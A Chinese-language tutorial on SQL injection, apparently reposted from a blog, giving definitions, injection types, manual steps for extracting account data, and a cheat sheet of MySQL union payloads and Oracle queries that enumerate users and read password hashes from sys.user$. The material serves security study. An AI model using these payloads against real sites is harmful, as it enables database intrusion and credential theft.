• SQL Injection


    SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。

    0x01定义

    具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句

    本质

    代码和数据不区分

    成因

    未对用户提交的参数数据进行校验或有效的过滤,直接进行SQL语句的拼接,改变了原有SQL语句的语义,传进数据库解析引擎中执行。

    ##结果
    SQL注入

    0x02常见脚本数据库默认组合

    asp + access/SQLServer
    php + Mysql
    jsp + Oracle

    0x03分类

    1
    2
    3
    4
    5
    UNION query SQL injection(可联合查询注入)
    Stacked queries SQL injection(可多语句查询注入)堆叠查询
    Boolean-based blind SQL injection(布尔型注入)
    Error-based SQL injection(报错型注入)
    Time-based blind SQL injection(基于时间延迟注入)

    0x04注入点的判断

    数字型

    字符型

    1.单双引号报错法
    2.正确错误法

    0x05手工注入常规思路

    1.判断是否存在注入,注入是字符型还是数字型
    2.猜解 SQL 查询语句中的字段数
    3.确定显示的字段顺序
    4.获取当前数据库
    5.获取数据库中的表
    6.获取表中的字段名
    7.查询到账户的数据

    0x06SQL注入常用函数及注入语句

    Mysql

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    version()  MySQL 版本
    user() 数据库用户名
    database() 数据库名
    @@datadir 数据库路径
    @@version_compile_os 操作系统版本
    hex() 把十进制转为十六进制
    concat() 连接字符串
    ascii() ascii编码
    length() 获取长度
    substring() mid() 取出字符串
    group_concat() 连接一个组的所有字符串 以逗号分隔每一条数据
    updatexml()、extractvalue() 用于报错注入
    sleep() 休眠
    猜字段数:1' order by 数字(看回显是否正确)
    猜数据库 1' union select 1,database()#
    1' union select user(),database()#
    猜某库的数据表 select table_name from information_schema.tables where table_schema=’xxxxx’
    猜某表的所有列 Select column_name from information_schema.columns where table_name=’xxxxx’
    获取某列的内容 Select xx_column from xx_table
    列出所有的数据库
    select group_concat(schema_name) from information_schema.schemata
    列出某个库当中所有的表
    select group_concat(table_name) from information_schema.tables where table_schema='xxxxx'

    Oracle

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    Oracle
    解析IP
    select utl_inaddr.get_host_address('google.com') from dual;

    获取本机IP地址
    select utl_inaddr.get_host_address from dual;

    根据IP地址反向解析主机名
    select utl_inaddr.get_host_name('*.*.*.*') from dual;

    -- 获取系统信息
    select banner from v$version where rownum=1 ; -- oracle versi
    --获取用户信息
    select user from dual; -- current user
    select username from user_users; -- current user
    select username from all_users; -- all user , the current user can see...
    select username from dba_users; -- all user , need pris

    -- 获取密码hash
    select name, password, astatus from sys.user$; -- password hash <=10g , need privs
    select name, password, spare4 from sys.user$; -- password has 11g , need privs

    -- 数据库
    select global_name from global_name; -- current database
    select sys.database_name from dual; -- current database
    select name from v$database; -- current database name , need privs
    select instance_name from v$instance; -- current database name , need privs

    -- 模式
    select distinct owner from all_tables; -- all schema

    -- 表
    select table_name from all_tables where owner='xxx'; -- all table name

    -- 列
    select owner,table_name,column_name from all_tab_columns where table_name='xxx';
    select owner,table_name,column_name from all_tab_cols where table_name='xxx';
  • 相关阅读:
    IT开发者对Mac钟爱
    POJ 3486 &amp; HDU 1913 Computers(dp)
    基础排序算法
    LeetCode 70:Climbing Stairs
    Qt自己定义事件实现及子线程向主线程传送事件消息
    maven自己主动编译,解决你每次代码改动须要又一次编译的繁琐
    Unity定制 Image、Text的对象生成
    iOS学习4_UITableView的使用
    GTK+重拾--09 GTK+中的组件(一)
    Architecting Android…The clean way?
  • 原文地址:https://www.cnblogs.com/ihacker/p/11342121.html
Copyright © 2020-2023  润新知